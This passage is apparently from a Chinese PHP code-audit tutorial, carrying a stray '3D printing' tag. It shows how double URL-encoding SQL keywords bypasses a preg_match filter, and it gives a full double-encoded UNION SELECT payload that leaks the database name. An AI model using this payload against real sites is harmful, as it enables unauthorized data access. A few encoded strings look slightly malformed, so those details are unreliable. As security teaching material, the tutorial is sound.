3D打印|php代码审计-sql注入进阶篇( 四 )


注入语句分析代码时说到客户端传入的参数会进行两次url编码解析之后带入数据库 , 但危险过滤是在第一次解析之后第二次解析之前执行的 。 也就是说我们可以写入两次url编码过的语句绕过preg_match , 比如and在过滤范围之中 , 对and一次url全编码后变为%61%6e%64%0再进行一次编码为%25%36%31%25%36%65%25%36%34
。 把经过两次编码后的and提交数据会经过web容器解码后变为%61%6e%64 , preg_match判定就不会触发 。
构造尝试语句把-1’ union  select database()23 --+编码为-1'
%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35()23 --+

【3D打印|php代码审计-sql注入进阶篇】成功绕过 , 代码执行带出了当前数据库 。